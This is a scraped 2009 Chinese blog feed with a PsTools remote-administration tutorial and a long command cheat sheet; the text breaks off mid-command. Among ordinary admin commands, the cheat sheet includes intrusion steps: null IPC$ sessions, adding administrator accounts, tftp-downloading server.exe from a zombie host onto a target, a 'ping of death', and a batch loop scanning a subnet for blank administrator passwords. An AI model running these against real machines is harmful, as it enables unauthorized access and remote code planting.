123&#8221;是表示administrator的密码为123；&#8220;cmd.exe&#8221;表示我想执行远程计算机上面的cmd.exe命令，如果远程计算机上面没有这个命令，你可以增加&#8220;-c&#8221;的参数，这样就可以把本地计算机上的这个命令直接拷贝到远程计算机后再执行。&#8220;C:\WINNT\system32&gt;&#8221;表示你已经登录到远程计算机上面了。怎么样，这比telnet要方便得多吧，如果对方没有开telent、或者如果对方开了但仍然使用着NTLM验证，想想看你得花多大的精力才能登录到对方的计算机上面呢？ <br>第二个工具是Psinfo。正如它的名字所示，该命令可以查看本地或者远程计算机的一些系统信息、软件安装信息和其他信息，不加任何参数的Psinfo就只显示本地计算机的系统信息。用法如下： <br>psinfo [-h] [-s] [-d] [-c] [\\RemoteComputer [-u Username [-p Password]]] <br>我们用实例来介绍该命令的使用，在命令行下输入： <br>D:\tools\Pstools&gt;psinfo file://192.168.0.8/ -s -u administrator -p 123 <br>其中&#8220;-s&#8221;表示显示远程计算机上面已安装的软件信息，&#8220;-u&#8221;和&#8220;-p&#8221;含义同PsExec。这条命令显示192.168.0.8计算机上面的系统信息和软件信息。系统信息包括系统安装时间、内存大小、CPU频率和品牌、操作系统类型等等；软件信息则会列出远程计算机上显示在&#8220;添加/删除&#8221;里的软件名称。限于文章的篇幅，这里就不把上述信息列出，请大家在自己的计算机上面实验。 <br>第三个工具是Psshutdown。从名称上可以看出这是一个可以进行远程关机和重启的程序。使用语法如下： <br>psshutdown [[-s | -r | -k [-t nn][-m "message"][-f]] -a | -l | -o] [\\computer] <br>这条命令最简单的使用方法为： <br>psshutdown -r file://192.168.0.8/， <br>这条命令的意思是让远程计算机重新启动。其他参数请大家自己看帮助文件，在这里我只强调两点：1、使用该命令前必须先和远程计算机建立有效的ipc$连接，因为我们可以看到该命令中并没有指定&#8220;-u&#8221;和&#8220;-p&#8221;；2、缺省情况下，命令发出后20秒才开始执行重启程序，如果你想立刻执行重启的话，请加上&#8220;-t&#8221;的参数。 <br>Pstools工具集中还有一个Pskill，它和Pslist成对使用，专门用来杀死进程的，使用方法也很简单，这里就不再介绍了。至于其他的工具，使用方法都大同小异，大家可以自己练习。 <br>Pstools是一组非常优秀的网管工具集，是对Windows 2000资源工具的一个补充，希望大家能在自己的计算机上面进行实验，利用它更好地去管理我们的网络。 <br><br>Pstools 是Windows平台下的一组不可多得的网管工具集，它由11个短小精悍的命令行程序组成，各自可以单独运行。说它们&#8220;短小&#8221;是因为这11个小软件加起来所占用的总空间不超过1MB，说&#8220;精悍&#8221;嘛，呵呵，是因为它的功能实在太强大了。它不但可以帮助你管理本地计算机，也可以帮助你管理远程计算机；它是网络管理员的利器，也是黑客的杀手锏。Pstools 是完全免费的软件，无需安装，解压后直接拷贝到电脑里就可以了，很符合当前&#8220;绿色&#8221;软件的标准。 <br>Pstools总共包含11个可执行文件，每个文件名都以&#8220;ps&#8221;开头，这是因为Pstools中最早被开发出来的一个工具是用来查看进程详细信息的，而Unix下面有一个相同的命令，名为ps，所以这个工具就被命名为pslist，而后陆续出来的其他工具便都沿用这个前缀。本文将重点为大家介绍其中最主要的3个工具的使用，其余的请查看相关的帮助文件。 <br>首先介绍的工具是PsExec，这是Pstools中份量最重的一个命令，它允许网络管理员在远程计算机上执行控制命令。虽然我们可以用PcAnyway或者Windows 2000的终端服务来进行图形界面的远程管理，但是在一个网络中给每台计算机安装这种图形界面的远程控制软件服务器端，不仅费时费力占资源，而且可操作性不强。我们也可以用telnet等命令行方式来进行远程管理，但telnet使用起来还是不大方便，如果对方计算机没有你需要的控制命令，你还得重新上传一个。 <br>PsExec的用法如下： <br>psexec <br><br>1)psexec <br>usage: psexec \computer [-u username [-p password] [-c [-f] [-i][-d] program [arguments] <br><br>psexec是一个远程执行工具，你可以像使用telnet一样使用它。 <br>它的使用格式为： <br>psexec \远程机器ip [-u username [-p password] [-c [-f] [-i][-d] program [arguments] <br>它的参数有： <br>-u后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br>-c &lt;[路径]文件名&gt;:拷贝文件到远程机器并运行（注意：运行结束后文件会自动删除） <br>-d不等待程序执行完就返回，（比如要让远程机器运行tftp服务端的时候使用，不然psexec命令会一直等待tftp程序结束才会返回） <br>-i 在远程机器上运行一个名为psexesvc进程，(到底什么用弄不明白） <br><br>假设我在远程机器ip有一个账号，账号名是：abc 密码是：123 <br>比如想要用telnet一样在远程系统上执行命令可以打： <br>psexec \远程机器ip -u abc -p 123 cmd <br><br>如果想要远程机器执行本地c:srm.exe文件可以打： <br>psexec \远程机器ip -u abc -p 123 -c c:srm.exe <br><br>如果想要让远程机器执行本地上tftp服务端，(假设tftp服务端在本地c:tftp32.exe)，可以打： <br>psexec \远程机器ip -u abc -p 123 -c c:tftp32.exe -d <br><br><br>(2)psservice <br>psservice是一个服务管理程序。 <br>它的使用格式为： <br>psservice [\远程机器ip [-u username] [-p password] &lt;command&gt; &lt;options&gt; <br>它的参数只有： <br>-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br>它的command有： <br>query [服务名]:显示某一服务的状态，如不填服务名则显示所有服务的状态。 <br>config &lt;服务名&gt;：显示某一服务的配置。 <br>start &lt;服务名&gt;：启动某一服务。 <br>stop &lt;服务名&gt;：停止某一服务。 <br>testart &lt;服务名&gt;：停止某一服务并重新启动它。 <br>pause &lt;服务名&gt;：暂停某一服务。 <br>cont &lt;服务名&gt;：恢复暂停的服务。 <br>depend &lt;服务名&gt;：显示某一服务依存关系。 <br>find &lt;服务名&gt;：在网络种搜寻指定的服务。 <br><br>比如你想查看在远程机器上的telnet服务的状态可以打： <br>psservice \远程机器ip query tlntsvr （tlntsvr为telnet服务的服务名） <br>比如你查看远程机器上的telnet服务的配置可以打： <br>psservice \远程机器ip config tlntsvr <br>比如你想启动远程机器上的telnet服务可以打： <br>psservice \远程机器ip start tlntsvr <br>其他用法以此类推。 <br><br><br>(3)pssuspend <br>pssuspend是一个暂时停止进程的软件 <br>它的使用格式为： <br>pssuspend [-r] [\远程机器ip [-u username] [-p password] &lt;process name | process id&gt; <br>它有三个参数： <br>-u：后面跟用户名 -p：后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br>-r:恢复进程。 <br><br>比如要暂时停止一个pid号为999,名称为srm.exe的进程可以打： <br>pssuspend \远程机器ip 999 或 pssuspend \远程机器ip srm <br>如果想要恢复它就可以打pssuspend -r \远程机器ip 999 或 pssuspend -r \远程机器ip srm <br><br><br>(4)psinfo <br>psinfo是一个搜集机器软硬件信息的工具，它可以获得操作系统信息，硬件信息和软件信息。 <br>它的使用格式为： <br>psinfo [-h] [-s] [-d] [-c] [\远程机器ip [-u username [-p password]] <br>它的参数有： <br>-u：后面跟用户名 -p：后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br>-h：是显示它安装了哪些补丁包 <br>-s：是显示它装了哪些软件 <br>-d：是显示磁盘信息。 <br><br>比如我只想看远程机器的软硬件信息和只用打: <br>psinfo \远程机器ip <br>假如我还想看看它装了哪些补丁包可以打 <br>psinfo -h \远程机器ip <br>假如我还想看看它磁盘信息可以打： <br>psinfo -d \远程机器ip <br>如果我想看它装了哪些软件可以打： <br>psinfo -s \远程机器ip <br>简单吧. <br><br><br>(5)pslist <br>pslist是一个查看进程的程序。 <br>它的使用格式为： <br>pslist [-d] [-m] [-x][-t][-s [n] [-r n] [\远程机器ip [-u username] [-p password] [name | pid] <br>它的参数有： <br>-u：后面跟用户名 -p：后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br>-s：是使用任务管理器模式实时查看进程，可以按ESC键退出。 <br>-r &lt;秒数&gt;：是和-s连用的一个参数，它用来指定任务管理器模式是的刷新间隔。（默认的刷新间隔为1秒） <br>-d：示各个进程的cpu使用信息。 <br>-m：显示各个进程的存储器使用信息。 <br>-x：非常详细显示进程的所有信息。 <br>-t：以树型方式显示进程。 <br><br>比如要查看远程机器ip上的进程的cpu使用信息可以打: <br>pslist -d \远程机器ip <br>比如要查看一个pid号为999,名称为srm.exe进程的存储器使用信息可以打： <br>pslist -m \远程机器ip 999 或 pslist -m \远程机器ip srm <br>比如要以任务管理器模式实时查看61.12.23.4上进程情况，并且刷新间隔为3秒可以打： <br>pslist -s -n 3 \远程机器ip <br><br><br>(6)psuptime <br>psuptime是一个了解远程机器运行了多久的命令。 <br>使用它只需要打：psuptime \远程机器ip <br><br><br>(7)psshutdown <br>psshutdown是一个远程关机命令。 <br>它的使用格式为： <br>psshutdown [-s | -r | -k [-t nn][-m "消息"][-f] -a | -l | -o] [\远程机器ip] <br><br>它的参数有： <br>-a：取消以前执行的关机指令。 <br>-t：离关机还有多少秒。（默认是20秒） <br>-s：关闭机器。 <br>-m：是要显示的信息。 <br>-f：是关机是不保存运行的程序。 <br>-r：表示重启。 <br>-l：表示锁定电脑。 <br>-o：表示注销用户。 <br><br>比如我想让远程机器30秒后关闭并显示(要关机了，请保存文件)则打： <br>psshutdown -t 30 -s -m "要关机了，请保存文件" \远程机器ip <br>如果是要重起的话打： <br>psshutdown -t 30 -m "要关机了，请保存文件" -r \远程机器ip <br>如果要取消刚才的指令可以打： <br>psshutdown -a \远程机器ip <br>其他参数以此类推。 <br><br><br>(8)psfile <br>psfile是一个显示机器上的会话和有什么文件被网络中的用户的打开的命令。 <br>它的使用格式为： <br>psfile [\远程机器ip [-u Username [-p Password]] [Id | path] [-c] <br>它的参数有: <br>-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br>-c：关闭会话或文件 <br><br>比如我想看看远程机器上的会话和被远程用户打开的文件可以打： <br>psfile \远程机器ip <br>接着就会显示 <br>[33] C:WINNT <br>User: ADMINISTRATOR <br>Locks: 0 <br>Access: Read <br>[63] PIPEsrvsvc <br>User: ADMINISTRATOR <br>Locks: 0 <br>Access: Read Write <br>接着我想关闭id为33，路径为c:winnt的这个会话可以打 <br>psfile \远程机器ip 33 -c 或 psfile \远程机器ip c:winnt -c <br><br><br>(9)psloggedon <br>psloggedon是一个显示目前谁登陆的机器的命令。 <br>它的参数只有: <br>-l只显示本地登陆用户而不显示其它的网络登陆用户 <br>-x不显示登陆时间 <br>比如说要显示远程机器现在登陆的用户可以打： <br>psloggedon \远程机器ip <br><br><br>(10)psgetsid <br>psgetsid是一个远程获取账号sid信息的工具。 <br>它的使用格式为： <br>psgetsid [\远程机器ip [-u username [-p password]] [account] <br>它的参数有 <br>-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码） <br><br>比如要看远程机器上账号名为abc的sid信息可以打： <br>psgetsid \远程机器ip abc <br><br><br>(11)pskill <br>pskill是一个杀除进程的程序。 <br>它的使用格式为： <br>pskill [\远程机器ip [-u username] [-p password] &lt;process name | process id&gt; <br><br>比如要杀除一个pid号为999,名称为srm.exe的进程可以打： <br>pskill \远程机器ip 999 或 pskill \远程机器ip srm <br><br><br>(12)psloglist <br>psloglist <br>psloglist是一个查看系统事件记录的程序。 <br>它的使用格式为： <br>psloglist [\远程机器ip [-u username [-p password]] [-s [-t delimiter] [-n # | -d #][-c][-x][-r][-a mm/dd/yy][-b mm/dd/yy][-f filter] [-l event log file] &lt;eventlog&gt; <br>它的参数有： <br>-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。 <br>-c:显示事件之后清理事件记录 <br>-l &lt;事件记录文件名&gt;:用于查看事件记录文件 <br>-n &lt;n&gt;：只显示最近的n条系统事件记录。 <br>-d &lt;n&gt;：只显示n天以前的系统事件记录 <br>-a mm/dd/yy:显示mm/dd/yy以后的系统事件记录 <br>-b mm/dd/yy:显示mm/dd/yy以前的系统事件记录 <br>-f &lt;事件类型&gt;：只显示指定的事件类型的系统事件记录。 <br>-x：显示事件数据代码 <br>-r：从旧到新排列（如不加则默认是从新到旧排列） <br>-s:以一个事件为一行的格式显示，中间默认以逗号格开各个信息。 <br>-t &lt;字符&gt;:这个参数和-s连用，以来改变-s中默认的逗号。 <br><br>如果我想看远程机器的系统事件记录只用打： <br>psloglist \远程机器ip 123 <br>比如我想看最近的10条error类型的记录可以打： <br>psloglist \远程机器ip -n 10 -f error</ca> 
<img src ="http://www.cppblog.com/luketowne/aggbug/82215.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-08 10:48 <a href="http://www.cppblog.com/luketowne/articles/82215.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS命令大全(经典收藏)</title><link>http://www.cppblog.com/luketowne/articles/82214.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Fri, 08 May 2009 02:39:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/82214.html</guid><description><![CDATA[net use \\ip\ipc$ " " /user:" " 建立IPC空链接 <br>net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 <br>net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br>net use h: \\ip\c$ 登陆后映射对方C：到本地为H: <br>net use \\ip\ipc$ /del 删除IPC链接 <br>net use h: /del 删除映射对方到本地的为H:的映射 <br>net user 用户名　密码　/add 建立用户 <br>net user guest /active:yes 激活guest用户 <br>net user 查看有哪些用户 <br>net user 帐户名 查看帐户的属性 <br>net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 <br>net start 查看开启了哪些服务 <br>net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br>net stop 服务名 停止某服务 <br>net time \\目标ip 查看对方时间 <br>net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 <br>net view 查看本地局域网内开启了哪些共享 <br>net view \\ip 查看对方局域网内开启了哪些共享 <br>net config 显示系统网络设置 <br>net logoff 断开连接的共享 <br>net pause 服务名 暂停某服务 <br>net send ip "文本信息" 向对方发信息 <br>net ver 局域网内正在使用的网络连接类型和信息 <br>net share 查看本地开启的共享 <br>net share ipc$ 开启ipc$共享 <br>net share ipc$ /del 删除ipc$共享 <br>net share c$ /del 删除C：共享 <br>net user guest 12345 用guest用户登陆后用将密码改为12345 <br>net password 密码 更改系统登陆密码 <br>netstat -a 查看开启了哪些端口,常用netstat -an <br>netstat -n 查看端口的网络连接情况，常用netstat -an <br>netstat -v 查看正在进行的工作 <br>netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br>netstat -s 查看正在使用的所有协议使用情况 <br>nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br>tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设置超时间隔。 <br>ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数："-l[空格]数据包大小"；"-n发送数据次数"；"-t"指一直ping。 <br>ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br>ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数"/all"显示全部配置信息 <br>tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br>kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br>del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件，"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件 <br><br>#2 二： <br><br>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br>move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br>fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br>at id号 开启已注册的某个计划任务 <br>at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br>at id号 /delete 停止某个已注册的计划任务 <br>at 查看所有的计划任务 <br>at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br>finger username @host 查看最近有哪些用户登陆 <br>telnet ip 端口 远和登陆服务器,默认端口为23 <br>open ip 连接到IP（属telnet登陆后的命令） <br>telnet 在本机上直接键入telnet 将进入本机的telnet <br>copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br>copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 <br>cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br>copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： <br>xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br>tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将"IP"的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br>tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br>ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br>route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br>arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br>start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br>mem 查看cpu使用情况 <br>attrib 文件名(目录名) 查看某文件（目录）的属性 <br>attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br>dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br>date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间，而不必输入新日期和时间 <br>set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br>set 显示当前所有的环境变量 <br>set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br>pause 暂停批处理程序，并显示出：请按任意键继续.... <br>if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br>goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如："：start"标签） <br>call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br>for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br>echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br>echo 信息 在屏幕上显示出信息 <br>echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br>findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br>find 文件名 查找某文件 <br>title 标题名字 更改CMD窗口标题名字 <br>color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br>prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ ) <br><br>#3 三： <br><br>ver 在DOS窗口下显示版本信息 <br>winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br>format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br>md　目录名 创建目录 <br>replace 源文件　要替换文件的目录 替换文件 <br>ren 原文件名　新文件名 重命名文件名 <br>tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br>type 文件名 显示文本文件的内容 <br>more 文件名 逐屏显示输出文件 <br>doskey 要锁定的命令＝字符 <br>doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br>taskmgr 调出任务管理器 <br>chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br>tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br>exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br>path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br>cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br>regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br>regedit /e 注册表文件名 导出注册表 <br>cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br>cacls 文件名 查看文件的访问用户权限列表 <br>REM 文本内容 在批处理文件中添加注解 <br>netsh 查看或更改本地网络配置情况 <br><br>#4 四： <br><br>IIS服务命令： <br>iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br>iisreset /start或stop 启动（停止）所有Internet服务 <br>iisreset /restart 停止然后重新启动所有Internet服务 <br>iisreset /status 显示所有Internet服务状态 <br>iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br>iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br>iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br>iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br>FTP 命令： (后面有详细说明内容) <br>ftp的命令行格式为: <br>ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。 <br>－d 使用调试方式。 <br>－n 限制ftp的自动登录,即不使用.netrc文件。 <br>－g 取消全局文件名。 <br>help [命令] 或 ？[命令] 查看命令说明 <br>bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br>pwd 列出当前远端主机目录 <br>put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br>get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br>mget [remote-files] 从远端主机接收一批文件至本地主机 <br>mput local-files 将本地主机中一批文件传送至远端主机 <br>dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br>ascii 设定以ASCII方式传送文件(缺省值) <br>bin 或 image 设定以二进制方式传送文件 <br>bell 每完成一次文件传送,报警提示 <br>cdup 返回上一级目录 <br>close 中断与远程服务器的ftp会话(与open对应) <br>open host[port] 建立指定ftp服务器连接,可指定连接端口 <br>delete 删除远端主机中的文件 <br>mdelete [remote-files] 删除一批文件 <br>mkdir directory-name 在远端主机中建立目录 <br>rename [from] [to] 改变远端主机中的文件名 <br>rmdir directory-name 删除远端主机中的目录 <br>status 显示当前FTP的状态 <br>system 显示远端主机系统类型 <br>user user-name [password] [account] 重新以别的用户名登录远端主机 <br>open host [port] 重新建立一个新的连接 <br>prompt 交互提示模式 <br>macdef 定义宏命令 <br>lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br>chmod 改变远端主机的文件权限 <br>case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br>cd remote－dir 进入远程主机目录 <br>cdup 进入远程主机目录的父目录 <br>! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip <br><br>#5 五： <br><br>MYSQL 命令： <br>mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。 <br>（例：mysql -h110.110.110.110 -Uroot -P123456 <br>注:u与root可以不用加空格，其它也一样） <br>exit 退出MYSQL <br>mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 <br>grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br>show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br>use mysql； <br>show tables; 显示库中的数据表 <br>describe 表名; 显示数据表的结构 <br>create database 库名; 建库 <br>use 库名； <br>create table 表名 (字段设定列表)； 建表 <br>drop database 库名; <br>drop table 表名； 删库和删表 <br>delete from 表名; 将表中记录清空 <br>select * from 表名; 显示表中的记录 <br>mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br>win2003系统下新增命令（实用部份）： <br>shutdown /参数 关闭或重启本地或远程主机。 <br>参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。 <br>例：shutdown /r /t 0 立即重启本地主机（无延时） <br>taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 <br>参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br>tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 <br>参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。 <br><br>#6 六： <br><br>Linux系统下基本命令： 要区分大小写 <br>uname 显示版本信息（同win2K的 ver） <br>dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br>pwd 查询当前所在的目录位置 <br>cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br>cat 文件名 查看文件内容 <br>cat &gt;abc.txt 往abc.txt文件中写上内容。 <br>more 文件名 以一页一页的方式显示一个文本文件。 <br>cp 复制文件 <br>mv 移动文件 <br>rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br>mkdir 目录名 建立目录 <br>rmdir 删除子目录，目录内没有文档。 <br>chmod 设定档案或目录的存取权限 <br>grep 在档案中查找字符串 <br>diff 档案文件比较 <br>find 档案搜寻 <br>date 现在的日期、时间 <br>who 查询目前和你使用同一台机器的人以及Login时间地点 <br>w 查询目前上机者的详细资料 <br>whoami 查看自己的帐号名称 <br>groups 查看某人的Group <br>passwd 更改密码 <br>history 查看自己下过的命令 <br>ps 显示进程状态 <br>kill 停止某进程 <br>gcc 黑客通常用它来编译C语言写的文件 <br>su 权限转换为指定使用者 <br>telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br>ftp ftp连接上某服务器（同win2K） <br><br>附：批处理命令与变量 <br><br>1：for命令及变量 基本格式： <br>FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。 <br>批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 <br><br>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；"(1 -1 254)"说明：即从254到1 } <br><br>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开 <br>command_parameters：为特定命令指定参数或命令行开关 <br><br>IN (set)：指在(set)中取值；DO command ：指执行command <br><br>参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br>用法举例： <br>@echo off <br>echo 用法格式：test.bat *.*.* &gt; test.txt <br><br>for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use \\%1.%%G /user:administrator | find "命令成功完成" &gt;&gt;test.txt <br>存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。 <br><br>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br>@echo off <br>echo 用法格式：ok.bat ip <br>FOR /F %%i IN 